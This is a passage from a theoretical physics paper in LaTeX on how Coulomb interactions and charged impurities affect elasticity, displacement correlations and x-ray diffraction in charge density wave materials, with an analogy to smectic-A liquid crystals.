non-local.\cite{efetov_larkin_replicas,lee_coulomb_cdw,bergman_coulomb_disorder,chitra_wigner_hall}
This
non local elasticity tends to rigidify the system, so that short range
correlated disorder
could be irrelevant in dimension smaller than
four.\cite{chitra_vortex} For instance, within the
random force model, the correlation function of the displacement in
three dimensions displays a logarithmic growth indicating quasi-long
range order.\cite{efetov_larkin_replicas,bergman_coulomb_disorder,lee_coulomb_cdw} In fact,
when the periodic structure of the CDW is properly taken into account,
the growth of the displacement correlation function is even weaker,
increasing only as $\log(\log(r))$ with the distance
$r$.\cite{rosso_cdw_long}
A second complication
arising from Coulomb interaction is that the disorder induced by
charged impurities has long-range correlations. This type of disorder
can exist in certain doped CDW materials\cite{rouziere_friedel_cdw}
such as $\mathrm{KMo_{1-x}V_xO_3}$.
In this paper, we study the effect of the competition of the
non-local elasticity produced by the Coulomb interaction with the
long-range random potential resulting from the presence of charged
impurities on the statics. The paper is organized as follows: in
Sec.~\ref{sec:decomposition}, we introduce a decomposition of the
Coulomb potential on the Fourier modes of the periodic structure. With
this decomposition, we show that only the long-wavelength component of
the random potential i.e., forward scattering disorder, possesses long range correlations. Using
statistical tilt symmetry\cite{narayan_fisher_cdw}, we deduce that due to the
short ranged nature of the backward scattering terms engendered by the disorder, the
dynamical properties in the presence of charged
impurities are not qualitatively different from those in the presence of neutral short ranged impurities.
In Sec.~\ref{sec:non-local-elasticity}, we consider the problem of
the
CDW system, and we derive the non-local elastic Hamiltonian. In
Sec.~\ref{sec:forward-scattering},
we derive the static displacement correlation functions and x-ray
intensity of the CDW with charged impurities and we highlight the
similitude of the latter to the x-ray intensity of smectic-A liquid
crystals subjected to thermal fluctuations.\cite{caille_smectic_xray} In
Sec.~\ref{sec:discuss},
we discuss the experimental significance of our result and suggest
that the smectic-like correlations should be observable in experiments on
$\mathrm{KMo_{1-x}V_xO_3}$. Finally, we summarize the possible
behavior of the static correlators in a pinned Charge Density wave
according to the local or non-local character of elasticity and the
presence or absence of charged impurities.
\section{Elasticity and Disorder in Periodic Systems}\label{sec:decomposition}
In this section, we discuss how Coulomb interactions affect
elasticity and disorder in periodic systems.
For a periodic elastic structure, the density can be written as:
\begin{eqnarray}\label{density}
\rho(\mathbf{r})=\rho_0(\mathbf{r}) + \sum_{{\bf G}} e^{i {\bf G}
\cdot ({\bf r}-{\bf u}({\bf r}))},
\end{eqnarray}
where $\rho_0({\bf r})=\rho_0(1-{\bf \nabla}\cdot{\bf u})$ describes
the density fluctuation arising from the long wavelength deformation
of the periodic structure and $\rho_0$ is the average density. In the
second term, the vectors ${\bf G}$ belong to the reciprocal lattice of
the perfect periodic structure, and ${\bf u}({\bf r})$ represents a
slowly varying\footnote{by slowly varying, we mean that the Fourier
components of $u$ are different from zero only for wavevectors much
smaller than $|{\bf G}_{\text{min.}}|$.} elastic deformation of the
structure.\cite{giamarchi_vortex_long} The quantities $e^{i {\bf G}
\cdot ({\bf r}-{\bf u}({\bf r}))}$ describe fluctuations of the
density on the scale of a lattice spacing. The low energy physics of
the periodic structure can be described in terms of a purely elastic
Hamiltonian which has the generic form for isotropic systems
\begin{equation}
H_0= \int_{\bf r} \frac c2 (\bigtriangledown{\bf
u})^2
\end{equation}
where $c$ is the elastic coefficient and $\int_{\bf r}$ is a shorthand
for $\int d^3{\bf r}$. This form can easily be generalized to
anisotropic systems. Well known examples of charged periodic
structures are the Wigner
crystal,\cite{wigner,wigner_crystal,deville_wigner,williams_wigner,coupier_wigner}
charged colloidal crystals,\cite{colloids} and the charge density
waves.\cite{froehlich_cdw,peierls_inst,denoyer_cdw_ttf-tcnq} In many
charged systems, unscreened Coulomb interactions are present:
\begin{eqnarray}
H_{C} = \frac {e^2} 2 \int_{\mathbf{r},\mathbf{r'}} \frac{ \rho(\mathbf{r})
\rho(\mathbf{r'})}{4\pi \epsilon |\mathbf{r} - \mathbf{r'}|},
\end{eqnarray}
\noindent and strongly affect the elasticity and dispersion of the
compression modes of the system.
Moreover, in the presence of charged impurities, the original charge
density on the lattice interacts with the charge impurity yielding:
\begin{eqnarray} \label{eq:disorder}
H_{\text{dis.}} =e^2 \int_{\mathbf{r},\mathbf{r'}} \frac{ \rho(\mathbf{r})
\rho_{\text{imp.}}(\mathbf{r'})}{4\pi \epsilon |\mathbf{r} - \mathbf{r'}|}, \end{eqnarray}
\noindent where $\rho_{\text{imp.}}$ denote the impurity density.
Using the
decomposition of the density~(\ref{density}), we now show that the
Coulomb interactions fundamentally modify
only the long wavelength components of the elasticity and of the
disorder energy.
To better handle the periodicity of the elastic structure, it is
convenient to
use the decomposition of the Coulomb interaction in terms of the
reciprocal lattice vectors $G$. In three dimensions, this
decomposition reads
\begin{eqnarray}\label{eq:coulomb}
\frac {1}{4\pi |{\bf r}|}&=&\int \frac{d^3 {\bf q}}{(2\pi)^3}
\frac{e^{i{\bf q}\cdot {\bf r}}}{{\bf q}^2} \nonumber \\
&=& \sum_{{\bf G}} e^{i {\bf G}\cdot {\bf r}} V_{{\bf G}}({\bf r})
\end{eqnarray}
\noindent where
\begin{eqnarray}
V_{{\bf G}}({\bf r})= \int_{BZ} \frac{d^3 {\bf
q}}{(2\pi)^3} \frac{e^{i{\bf q}\cdot {\bf r}}}{({\bf q}+{\bf G})^2},
\end{eqnarray}
\noindent and $\int_{BZ}$ indicates that the integral is restricted to the
first Brillouin zone. It is straightforward to check that $V_{-\bf G}({\bf
r})=V_{\bf G}^*({\bf r})$.
Using Eq.~(\ref{eq:coulomb}), the interaction term $H_C$ can be
rewritten as:
\begin{eqnarray} \label{eq:coulombenergy}
H_C&=&\frac {e^2} {2\epsilon} \sum_{G\ne 0} \int_{\mathbf{r},\mathbf{r'}} V_{{\bf
G}}({\bf r} -{\bf r'}) e^{i {\bf G}\cdot({\bf u}({\bf r}) -{\bf u}({\bf
r'}))}\nonumber \\
&& +\frac {e^2} {2\epsilon} \int_{\mathbf{r},\mathbf{r'}} V_0({\bf r} -{\bf r'})
\rho_0({\bf r}) \rho_0({\bf r'}).
\end{eqnarray}
Note that due to the slow variation of ${\bf u}({\bf r})$, terms involving
the oscillatory factors $e^{i({\bf G}-{\bf G'})\cdot {\bf r}}$ can
be dropped from the interaction.
Let us first consider the term involving long wavelength fluctuations
of the density.
Since we are interested only in the long wavelength properties, we
can replace the integration over the Brillouin zone in $V_0({\bf
r})$. by a Gaussian
integration:
\begin{eqnarray}
\int_{BZ} \frac{d^3 {\bf q}}{(2\pi)^3} \to \int \frac{d^3 {\bf
q}}{(2\pi)^3} e^{-a^2 {\bf q}^2},
\end{eqnarray}
\noindent with the parameter $a$ chosen so that $\pi/a \sim |{\bf
G}_{\mbox{min.}}|$, ${\bf G}_{\mbox{min.}}$ being the reciprocal
lattice vector having the shortest length. In this case, $V_0({\bf r})$
can be obtained indirectly
by solving the Poisson equation with a Gaussian charge
density and is found to be
\begin{eqnarray}
V_{0}({\bf r})=\frac{1}{4\pi r}
\mathrm{erf}\left(\frac{r}{2a}\right),
\end{eqnarray}
\noindent
In the limit $r\gg a$, we recover the known result $V_0 \sim 1/(4\pi
r)$. Clearly, the non-oscillating component of the Coulomb potential
remains long-ranged and tends to rigidify the system.
It now remains to be seen whether the oscillating parts of the
Coulomb interaction specified by $V_{{\bf G}}$ for ${\bf G}$ are
long-ranged or not. We first note that the above trick of replacing
the integration over the Brillouin zone by a Gaussian integral over
the entire space is not applicable anymore, as it would introduce a
spurious integration over a region where ${\bf G}+{\bf q}=0$. This
would result in an (incorrect) $1/r$ behavior of $V_{\bf G \ne
0}(r)$. To obtain a correct estimate for $V_{\bf G}$ we replace
the integral over the Brillouin zone by
\begin{eqnarray}
\int_{BZ} \frac{d^3 {\bf q}}{(2\pi)^3} \to \int \frac{d^3 {\bf
q}}{(2\pi)^3} F_{BZ}({\bf q},\epsilon),
\end{eqnarray}
where $F_{BZ}(q,\epsilon)$ is an indefinitely derivable function with
a compact support contained in the first Brillouin zone (see
App.~\ref{app:decomp-coulomb} for an explicit form of $F_{BZ}(q,\epsilon)$).\footnote{A more straightforward
approach would be to keep the hard cutoff at the edge of the
Brillouin zone. Then, the function $V_{\bf G}$ would decay as
$1/r^2$ with an oscillating prefactor. The same oscillation would be
also obtained for a short ranged potential, and is only a
consequence of the hard cutoff.} Obviously, for ${\bf G}\ne 0$,
$F_{BZ}(q,\epsilon)/|{\bf q}+{\bf G}|^2$ is also an indefinitely
differentiable function of compact support. A well-known
theorem\cite{gelfand64_theorem,reed75_mmmp} then shows that the
Fourier transform of $F_{BZ}(q,\epsilon)/|{\bf q}+{\bf G}|^2$ is
indefinitely differentiable and for $r\to \infty$ is $o(1/r^n)$ for
any $n>0$. This implies that the function $V_{\bf G}(r)$ is short
ranged. Incorporating the above results in
Eq.(\ref{eq:coulombenergy}), we see that while the non oscillating
part of the Coulomb interaction modifies the long wavelength behavior
of the elasticity, rendering it non-local, the short ranged nature of
the oscillatory terms merely renormalizes the elastic coefficients. This is
explicitly shown in App.~\ref{app:backscatt} for the particular case of a CDW.
The resulting non-local character of the elastic interactions modifies
strongly the static
and dynamic properties of the
system.\cite{chitra_wigner_hall,chitra_wigner_long,rosso_cdw_long,chitra_wigner_zero}
To understand the nature of the interaction with the charged impurities, we
use the above procedure to rewrite the random potential generated by the
impurities as:
\begin{eqnarray}
U_{\mbox{imp.}}(r)&=& \int_{BZ} \frac{d^3 {\bf
q}}{(2\pi)^3} \frac{e^{i{\bf q}\cdot {\bf
r}}\rho_{\text{imp.}}({\bf q})} {{\bf q}^2}, \nonumber \\ &=&
\sum_{\bf G} e^{i {\bf G}\cdot {\bf r}} U_{{\bf G}}(r).
\end{eqnarray}
Using this in Eq.(\ref{eq:disorder}), the interaction of the system with the random potential is given by
\begin{eqnarray}\label{eq:disorder-general}
H_{\text{dis.}}&=&\frac {e^2} {\epsilon} \sum_{G\ne 0} \int_{\mathbf{r},\mathbf{r'}} U_{{\bf
G}}({\bf r}) e^{i
{\bf G}\cdot{\bf u}({\bf r})} \nonumber \\
&& +\frac {e^2} {\epsilon} \int_{\mathbf{r},\mathbf{r'}} U_0({\bf r})
\rho_0({\bf r}),
\end{eqnarray}
In Eq.~(\ref{eq:disorder-general}), the interaction of $\rho_0$ with
the random potential $U_0$ is called forward scattering, and the terms
containing $e^{i\mathbf{G} \cdot\mathbf{u(r)}}$ are called backward
scattering. This nomenclature originates in the theory of electrons in
1D random potential.\cite{giamarchi_book_1d} To calculate the disorder
correlation functions, we consider the case of Gaussian distributed
impurities where \cite{itzykson_stat2} $\overline{
\rho_{\text{imp.}}({\bf G+q}) \rho_{\text{imp.}}({\bf
G'+q'})}=(2\pi)^3 D\delta_{{\bf G},{\bf -G'}} \delta({\bf q}+{\bf
q'})$, the parameter $D$ measuring the disorder strength.
Consequently, we find that for ${\bf G}\ne 0$:
\begin{equation}
\overline{U_{\bf G}({\bf r})U_{-\bf G}({\bf r'})} = D \int_{BZ} \frac{d^3 {\bf
q}}{(2\pi)^3} \frac{e^{i{\bf q}\cdot ({\bf r}-{\bf r'})}}{({\bf
q}+{\bf G})^4},
\end{equation}
\noindent
Using the same arguments as before, we infer that the correlations of
$U_{\bf G}({\bf r})$ are short ranged, as in the case of neutral
impurities, for all ${\bf G}$ except ${\bf G}=0$. This implies that
the backward scattering terms induced by disorder are short-ranged and
the treatment of these terms within the replica or the
Martin-Siggia-Rose\cite{martin_siggia_rose,dominicis_dynamics} methods
is identical to the case of neutral or screened impurities. However, the
${\bf G}=0$ component
\begin{eqnarray}
U_0({\bf r})=\int_{BZ}\frac{d^3{\bf q}}{(2\pi)^3} \frac{e^{i{\bf
q}\cdot {\bf r}}}{{\bf q}^2} \rho_{\text{imp.}}({\bf q}),
\end{eqnarray}
manifests power law decay of the forward scattering correlations.
This term however can be gauged out by the statistical tilt
symmetry\cite{narayan_fisher_cdw}, and affects mainly the static
properties of the periodic system. Typically, in periodic systems
with both short range disorder and local elasticity, the
contribution of the forward scattering disorder can be neglected and
it is the backward scattering that induces collective pinning and
Bragg glass features like a quasi order in the static correlation
functions. Here, we have shown that even in the case of long range
disorder, the backward scattering terms behave essentially like
their short ranged (neutral impurities) counterparts.
However, the effect of the forward scattering terms on
the correlation functions has to be studied carefully. In the next
section, we show that in the case of charged impurities in a charge
density wave system, the forward scattering term strongly modifies
the static correlation. Finally, we remark that our
decomposition of the elastic energy and the impurity potential is not
exclusive to the Coulomb potential and is
applicable to other long-range potentials.
As a result, the conclusions of the present sections are expected to be
valid for more general long range potentials.
\section{Charge Density Waves}\label{sec:non-local-elasticity}
In this section, we re-derive the elastic Hamiltonian for a $d$
dimensional CDW with screened Coulomb interactions between the density
fluctuations at zero temperature. We consider an incommensurate CDW,
in which the electron density is modulated by a modulation vector $Q$
incommensurate with the underlying crystal lattice. In this phase, the
electron density has the following form~\cite{nattermann_brazovskii}:
\begin{equation}
\rho({\bf r}) = \rho_0 +\frac{\rho_0}{Q^2} {\bf Q}\cdot
\nabla\phi({\bf r})
+\rho_1 \cos( {\bf Q}\cdot {\bf r} +\phi({\bf r}))) \,,
\label{eq:rhoexp}
\end{equation}
where $\rho_0$, is the average electronic density (see
App.~\ref{app:cdw-density} for details). The second term in
Eq.~(\ref{eq:rhoexp}) is the long wavelength density
and corresponds to variations of the density over scales larger than $
Q^{-1}$ . The last oscillating term describes the sinusoidal deformation of the
density at a scale of the order of $Q^{-1}$ induced by the formation
of the CDW with amplitude $\rho_1$ and phase $\phi$.
In the absence of Coulomb interactions, the low energy properties of
the CDW can be described by an effective Hamiltonian for phase
fluctuations. For CDW aligned along the $x$ axis, i.e., ${\bf Q}=
Q\hat x$, this phase only Hamiltonian
reads\cite{fukuyama_cdw_pinning,gruner_revue_cdw,feinberg_cdw,maki_phase_hamiltonian}:
\begin{eqnarray}
\label{eq:hamiltonian_cdw_sr}
H_0 = \frac{\hbar v_F n_c}{4\pi} \int
d^3{\mathbf{r}} \left[
(\partial_x \phi)^2 + %
\frac{v_y^2}{v_x^2} (\partial_y \phi)^2 +
\frac{v_z^2}{v_x^2} (\partial_z \phi)^2 \right], \nonumber \\
\end{eqnarray}
where $v_F$ is the Fermi velocity and $n_c$ is the number of chains
per unit surface that crosses a plane orthogonal to $Q$. The
velocity of the phason excitations parallel to $Q$ is
$v_x=(m_e/m_*)^{1/2} v_F$ with $m^*$ the effective mass of the CDW
and $m_e$ the mass of an electron. $v_y$ and $v_z$ denote the phason
velocities in the transverse directions. A crucial observation is
that a deformation of $\phi(r)$ along $Q$ produces an imbalance of
the electronic charge density which then augments the electrostatic
energy due to Coulomb repulsion between density fluctuations. We
evaluate the contribution of Coulomb interactions screened beyond the
characteristic length $\lambda$ which accounts for the presence of
free carriers. This length diverges in the limit $T\to
0$.\cite{wong_coulomb_cdw,virosztek_collective_cdw} The
electrostatic energy takes the form:
\begin{eqnarray}
\label{eq:electr}
H_C = \frac{e^2}{8\pi \epsilon} \int d^d{\bf r} d^d{\bf r'} e^{-|{\bf r}- {\bf r}'|/\lambda}
\frac{\rho({\bf r}) \rho({\bf r}')}{|{\bf r}- {\bf r}'|} \,,
\end{eqnarray}
\noindent where we have assumed for simplicity an isotropic dielectric permittivity
$\epsilon$ of the host medium.\cite{efetov_larkin_replicas,lee_coulomb_cdw,kurihara_coulomb_phasons,wong_coulomb_cdw,brazovskii_longrange}
Due to the periodicity of the CDW system, we can use the decomposition
of the Coulomb potential derived in Sec.~\ref{sec:decomposition},
obtaining:
\begin{eqnarray}
\label{eq:electr-fourier}
H_C &=& \frac{e^2 \rho_0^2}{8\pi\epsilon Q^2} \int_{{\bf r},{\bf
r'}} \partial_x\phi({\bf r})
\frac{e^{-|{\bf r}- {\bf r}'|/\lambda}}{| {\bf r}- {\bf r}'|}
\partial_{x'}\phi ({\bf r}') \\
&& + \frac{e^2 \rho_1^2}{2\epsilon} \int_{{\bf r},{\bf r'}} \left[ V_{-Q}({\bf r}-{\bf r}') e^{i(\phi
({\bf r})-\phi ({\bf r}'))} + \text{c.c.}\right]\nonumber,
\end{eqnarray}
In Eq.~(\ref{eq:electr-fourier}), we have neglected the contribution
of the higher harmonics of the CDW. Note that the oscillating
terms, as discussed in App.~\ref{app:backscatt},
only contribute to a renormalization of the
coefficients in the short range elastic
Hamiltonian~(\ref{eq:hamiltonian_cdw_sr}) and thus can be neglected.
However, the contribution of the long-wavelength term has more
dramatic effects and reads
\begin{eqnarray}
\label{eq:electr2-3D}
H_C &=& \frac{e^2 \rho_0^2}{ 2 \epsilon Q^2 } \int_{BZ}
\frac{q_x^2}{\lambda^{-2}+ q^2} |\phi(q)|^2,
\end{eqnarray}
in the three dimensional case. It is interesting to note that Coulomb
interactions generate a non local elasticity i.e., a $q$-dispersion in
the elastic constant.
The total Hamiltonian in $d=3$ now reads,
\begin{eqnarray}
\label{eq:anisotropyfinal}
H_{\text{el.}}&=&H_0+H_C=\frac 1 2 \int G^{-1}(q) |\phi(q)|^2, \\
G^{-1}(q)&=& \frac{n_c \hbar v_F}{2\pi} \left[\frac{q_x^2}{({\bf q}^2
+\lambda^{-2})\xi^2} + q_x^2 + \frac{v_y^2}{v_x^2} q_y^2 + \frac{v_z^2}{v_x^2}
q_z^2\right] \nonumber\
\end{eqnarray}
\noindent
where the lengthscale $\xi$ is defined by:
\begin{eqnarray}
\label{eq:xi-definition}
\xi^2 = \frac{n_c \hbar v_F}{2\pi e^2 \rho_0^2} Q^2\epsilon.
\end{eqnarray}
Depending on the ratio $\lambda/\xi$, two regimes of behavior can be
identified: (i) Short ranged elasticity: when $\lambda/\xi \ll 1$ the
Coulomb correction to the short range elasticity is small even in the
limit $q\to 0$ and hence can be neglected.\\ (ii) Long range
elasticity: for $\lambda/\xi\gg 1$, the Coulombian correction to the
short-range elasticity cannot be neglected. This regime is relevant
at low temperatures, when the number of free carriers available to
screen the Coulomb interaction is suppressed by the CDW
gap.\cite{wong_coulomb_cdw,virosztek_collective_cdw} Mean field
calculations show that this regime is obtained for temperatures
$T<0.2 T_c$ where $T_c$ is the Peierls transition
temperature.\cite{virosztek_collective_cdw} In the following, we
focus on regime (ii), and accordingly, we take $\lambda^{-1}=0$ in
Eq.~(\ref{eq:anisotropyfinal}).
\section{Forward Scattering}\label{sec:forward-scattering}
As discussed in Sec.~\ref{sec:introduction}, the case of the short ranged
elasticity has been studied by various authors. For charged periodic
systems with short range disorder and a non-local elasticity generated
by Coulomb interactions, it is known that $d=3$ becomes the upper
critical dimension for disorder and the displacement correlations grow
as ${ B}(r) = \log \log \Lambda
r$.\cite{chitra_vortex,rosso_cdw_long}
Here, we study the effect of the long range disorder
on the static correlations of a charged periodic system. Since, the
backward scattering terms generated by such a disorder are short
ranged, they lead to the same physics as that of short ranged disorder
with the corresponding nonlocal elasticity. These terms contribute a
$\log\log r$ term to the displacement correlations. However, in this
case a simple dimensional analysis shows that the forward scattering
terms generate the leading contribution to the correlation functions.
In the following, we calculate the contribution of the forward
scattering disorder to the displacement correlation function in the
$d=3$ CDW.
\subsection{Displacement correlation functions}
\label{sec:displacement}
The displacement correlation function is defined by:
\begin{eqnarray}
B(r)&=&\overline{\langle(\phi(r)-\phi(0))^2\rangle} \,\nonumber \\
&=& \frac{2}{L^6} \sum_{\bf q}\ \overline{\left\langle \phi(q)
\phi(-q)\right\rangle} [1-\cos {\bf q}\cdot{\bf r}] \,.
\end{eqnarray}
The calculation of the correlation induced by the forward scattering
disorder is analogous to the calculation of Larkin for the random
force model.\cite{larkin_70}
Assuming an infinite screening length $\lambda$, the Hamiltonian reads:
\begin{eqnarray}
\label{eq:Hamiltonian2}
H&=& H_{\text{el.}}
+\frac{e^2}{4\pi \epsilon} \int d^3{\bf r} d^3{\bf r'}
\frac{\rho_{\text{imp.}}({\bf r}) \rho({\bf r'})} {|r-r'|} \nonumber \\
\end{eqnarray}
Using Eq.~(\ref{eq:rhoexp}) in Eq.~(\ref{eq:Hamiltonian2}), we obtain
an expression of the form Eq.~(\ref{eq:disorder-general}). Keeping
only the forward scattering term we get:
\begin{eqnarray}
\label{eq:Hamiltonian3}
H = \int \frac {d^3q}{(2\pi)^3}\left[ \frac{G^{-1}(q)}{2} |\phi(q)|^2 +
\frac{i\rho_0 e^2 q_x}{Q\epsilon q^2 }
\rho_{\text{imp.}}(-q) \phi(q) \right]. \nonumber \\
\end{eqnarray}
Shifting the field $\phi$
\begin{eqnarray}
\label{eq:gauge}
\phi(q) = \tilde{\phi}(q) + \frac{e^2
\rho_0}{Q\epsilon} \frac{i
q_x G(q)}{q^2} \rho_{\text{imp.}}(q),
\end{eqnarray}
\noindent brings the Hamiltonian (\ref{eq:Hamiltonian3}) back to the form of
Eq.~(\ref{eq:anisotropyfinal}).
The average over disorder now yields:
\begin{eqnarray}
\overline{\left\langle \phi(q) \phi(-q) \right\rangle} &=& \left\langle
\tilde{\phi}(q) \tilde{\phi}(-q) \right\rangle \nonumber \\
&&+
\frac{e^4 \rho_0^2}{Q^2\epsilon^2} \frac{q_x^2 G(q)^2}{q^4}
\overline{\rho_{\text{imp.}}(q) \rho_{\text{imp.}}(-q)}
\nonumber\\
&=& L^3 \left[T G(q) + \frac{e^4 \rho_0^2}{Q^2\epsilon^2} \frac{q_x^2
G(q)^2}{q^4} D\right]
\end{eqnarray}
where $\langle \ldots \rangle$ and
$\overline{\mbox{\ldots}}$ denote thermal average and disorder
average respectively.
Eq~(\ref{eq:gauge}) shows that even in the presence of
Coulombian disorder, the statistical tilt
symmetry\cite{narayan_fisher_depinning} is preserved.
This implies that in the presence of backward scattering disorder, the
forward scattering term can be gauged out by (\ref{eq:gauge}),
and the contribution of the forward scattering disorder $B^{FS}$ is simply
added to the one obtained from the backward scattering
disorder, $B^{BS}$.\cite{rosso_cdw_short,rosso_cdw_long}
We conclude
\begin{equation}
B^{FS}(r)= 2 D \frac{e^4 \rho_0^2}{Q^2\epsilon^2} \int \frac{d^3q}{(2\pi)^3} \frac{q_x^2
G(q)^2}{q^4} [1-\cos ({\bf q}\cdot{\bf r})] \,.
\end{equation}
We want to evaluate this integral for the case of $v_y=v_z=v_{\perp}$.
In the following we will use $q_{\perp}^2=q_y^2 + q_z^2$. To obtain
the asymptotic behavior of $B(r)$ for $r\to \infty$ we need to
consider the $q \to 0$ limit of the integrand. The form of $G(q)$
suggests a scaling $q_x \sim q_{\perp}^2$ which then allows us to consider
the integral:
\begin{eqnarray}
F({\bf r})&=&\int \frac {d^3 {\bf q}}{(2\pi)^3} \frac{q_x^2}{[q_x^2+
(\xi' q_{\perp}^2)^2]^2} (1-\cos({\bf q}\cdot{\bf r})) \\
& =&\frac 1 {16\pi \xi'}
\left\{ \ln \left[ 1 +(\Lambda_{\perp} r_{\perp})^2\right] +
E_1\left(\frac{r_{\perp}^2}{4|x|\xi'} \right) \right. \nonumber\\
&& \left. + e^{-r_{\perp}^2/(4|x|\xi')} \right\}\,, \nonumber
\end{eqnarray}
where $\xi'=\xi v_{\perp}/v_x$, $r_{\perp}^2=y^2+z^2$ and
$\Lambda_{\perp}$ is a momentum cut-off. A study of the limits of
this function for $r_\perp \to \infty$ and $|x|\to \infty$ shows
that its asymptotic behavior is well described by:
\begin{eqnarray}\label{eq:expression-F}
F({\bf r}) \sim \frac{v_x}{16\pi v_{\perp} \xi} \ln \left(\frac{r_\perp^2
+4(v_{\perp}|x|\xi/v_x)}{\Lambda_{\perp}^{-2}}\right).
\end{eqnarray}
\noindent Therefore, we have for $r\to \infty$:
\begin{eqnarray}
\label{eq:smectic-like}
B^{FS}({r}) = \kappa \ln \left(\frac{r_\perp^2
+4(v_{\perp}|x|\xi/v_x)}{\Lambda_{\perp}^{-2}}\right).
\end{eqnarray}
\noindent where:
\begin{eqnarray}\label{eq:kappa-def}
\kappa=\frac{D Q^2 v_x}{16\pi \xi \rho_0^2 v_{\perp}}.
\end{eqnarray}
The full asymptotic correlation function is given by the sum of the
forward scattering contribution, Eq.~(\ref{eq:smectic-like}),
and the backward scattering contribution
given in Eq.~(51) of Ref.~\onlinecite{rosso_cdw_long} for the
case of a short-range disorder and non-local elasticity:
\begin{equation}\label{eq:BS-log-log}
B^{BS}(\mathbf{r})=log(log (\mathrm{max}(\Lambda|x|,(\Lambda r_\perp)^2))).
\end{equation}
Obviously, the contribution of the backward scattering terms is
subdominant and can be neglected.
\subsection{Analogy with smectics-A}
\label{sec:smectics-analog}
We note that the result Eq.~(\ref{eq:expression-F}) can
be obtained in the entirely different context of liquid crystals. If we consider a
smectic-A liquid crystal, its elastic free energy reads\cite{degennes_liquid_crystals,landau_elasticity,chandrasekhar_smectic,pieranski_book2}:
\begin{eqnarray}
{\cal F}_{\text{el.}}=\int d^3{\bf r} \left[\frac 1 2 B (\partial_z u)^2 + \frac 1 2 k_{11}
(\Delta_\perp u)^2\right],
\end{eqnarray}
\noindent where $u$ represents the displacement of the smectic
layers, $B$ is the compressibility, and $k_{11}$ measures the
bending energy of the smectic layers. If we now assume a random
compression force given by:
\begin{eqnarray}
{\cal F}_{\text{dis.}} &=&\int d^3{\bf r} \eta({\bf r}) \partial_z
u({\bf r}),\\
\overline{\eta({\bf r}) \eta({\bf r'})} &=& D \delta({\bf r}-{\bf
r'}),
\end{eqnarray}
a straightforward calculation shows that the displacement correlation
function $\overline{(u({\bf r})-u(0))^2}$ is given by
Eq.~(\ref{eq:expression-F}).
Smectics-A with disorder have been considered previously in Ref.~\onlinecite{radzihovsky99_smectique} albeit
with a different type of disorder coupling to $\nabla_\perp u$. This
yields a displacement correlation function superficially similar to $F(r)$
with $q_\perp^2$ replacing $q_x^2$ in the numerator. The random
compression force, which is not natural in the smectic-A context,
is thus easily realized with charge density wave systems.
\section{Experimental implications}
\label{sec:discuss}
In the preceding sections, we have shown that the forward scattering terms
generated by charged impurities
lead to smectic-like order in a charge density wave material.
A frequently used technique to characterize positional correlations
in CDW systems is x-ray diffraction.\cite{cowley_x-ray_cdw} In the
present section, we provide a calculation of the x-ray intensity
resulting from such a smectic-like order, and we provide a
quantitative estimate of the exponent $\kappa$.
\subsection{x-ray intensity}
The intensity of the x-ray
spectrum is given by \cite{guiner_xray}
\begin{eqnarray}
\label{eq:Sdef}
I({q}) = \frac{1}{L^3} \sum_{i,j} e^{-i{q}({R}_i-{R}_j)} \left\langle
\overline{f_if_j e^{-iq(u_i-u_j)}} \right\rangle.
\end{eqnarray}
$u_i$ is the atom displacement from the
equilibrium position $R_i$,
$f_i$ represents the total
amplitude scattered by the atom at the position $i$ and depends exclusively on
the atom type. We consider the simple case of a disordered crystal,
made of one kind of atoms, characterized by the scattering factor
$\overline{f}-\Delta f/2$,
and containing impurities of scattering
factor $\overline{f}+\Delta f/2$. Since we are interested in the behavior of the scattering
intensity near a Bragg peak ($q\sim K$), we can use the continuum
approximation.\cite{rosso_cdw_long} In the case of the CDW, the lattice modulation is given by:
\begin{equation}
\label{eq:modulation}
u(\mathbf{r})=\frac{u_0}{Q} \partial_x \left[ \cos (Q x
+\phi(\mathbf{r}))\right],
\end{equation}
It is well known that the presence of a CDW in the compound is
associated with the appearance of two asymmetric satellites at positions
$q\sim K\pm Q$ around each
Bragg peak.\cite{cowley_x-ray_cdw} The intensity profiles of these
satellites give access to the structural properties of the CDW. For
this reason a lot of work has been done to compute and measure these
intensities.
\cite{ravy_x-ray_whiteline,brazovskii_x-ray_cdwT,rouziere_friedel_cdw,rosso_cdw_short,rosso_cdw_long}
By expanding Eq.~(\ref{eq:Sdef}) for low $q(u_i-u_j)$, one finds an
expression of the x-ray satellite intensity comprising a part
$I_{\text{d}}$, which is symmetric under inversion around the Bragg
vector $K$ and a part $I_{\text{a}}$ which is antisymmetric under
the same transformation.\cite{rosso_cdw_long}
The symmetric part is given by the following correlation function:
\begin{equation}
\label{eq:symmetric}
I_{\text{d}}({\bf q}) =\overline{f}^2 q^2 \int d^3\mathbf{r}\, e^{-i \delta
{\bf q}\cdot {\bf r}}
\langle \overline{u({\bf r}/2) u(-{\bf r}/2)} \rangle,
\end{equation}
and the antisymmetric part by:
\begin{equation}
\label{eq:asymmetric}
\frac{I_{\text a}({\bf q})}{{\bf a}\cdot({\bf b}\times {\bf c})} = 2 q {\Delta f}\, \mathrm{Im} \int d^3{\bf r}\,
e^{-i \delta {\bf q}\cdot {\bf r} } \langle\overline
{\rho_{\text{imp}}(\mathbf{r}/2) u(-\mathbf{r}/2) } \rangle,
\end{equation}
\noindent where: $\delta q = (q-K)\sim Q$, and ${\bf a}\cdot({\bf
b}\times {\bf c})$ is the volume of the unit cell of the crystal.
After some manipulations, Eq.~(\ref{eq:symmetric}) can be rewritten as:
\begin{eqnarray}
\label{eq:sym-simplified}
I_{\text{d}}(K + Q + k) &=& u_0^2 \overline{f}^2 K^2 \int d^3{\bf
r}\, e^{-i \mathbf{k\cdot r} }
C_{\text{d}}(\mathbf{r}) \,, \\
I_{\text{a}}(K + Q + k) &=& - \overline{f} K u_0 \Delta f \sqrt{{\cal
N} D} \int d^3{\bf
r}\, e^{-i \mathbf{k\cdot r} }
C_{\text{a}}(\mathbf{r}) \nonumber
\end{eqnarray}
\noindent where ${\cal N}$ is the number of impurities in the unit
cell, and:
\begin{eqnarray}
\label{eq:Cd}
C_{\text{d}}(\mathbf{r}) &=& \left\langle \overline
{e^{i(\phi(\mathbf{r}/2)-\phi(-\mathbf{r}/2))}} \right \rangle \,, \\
&=& C^{\text{F.S}}_{\text{d}}(\mathbf{r})
C^{\text{B.S}}_{\text{d}}(\mathbf{r})\,, \\
\label{eq:Ca}
C_{\text{a}}(\mathbf{r}) &=& \chi(\mathbf{r}) C_{\text{d}}(\mathbf{r}),
\end{eqnarray}
\noindent where $\chi(\mathbf{r})$ is defined by Eq. (33) of
Ref.~\onlinecite{rosso_cdw_long}. It is easy to show, using this
definition and the
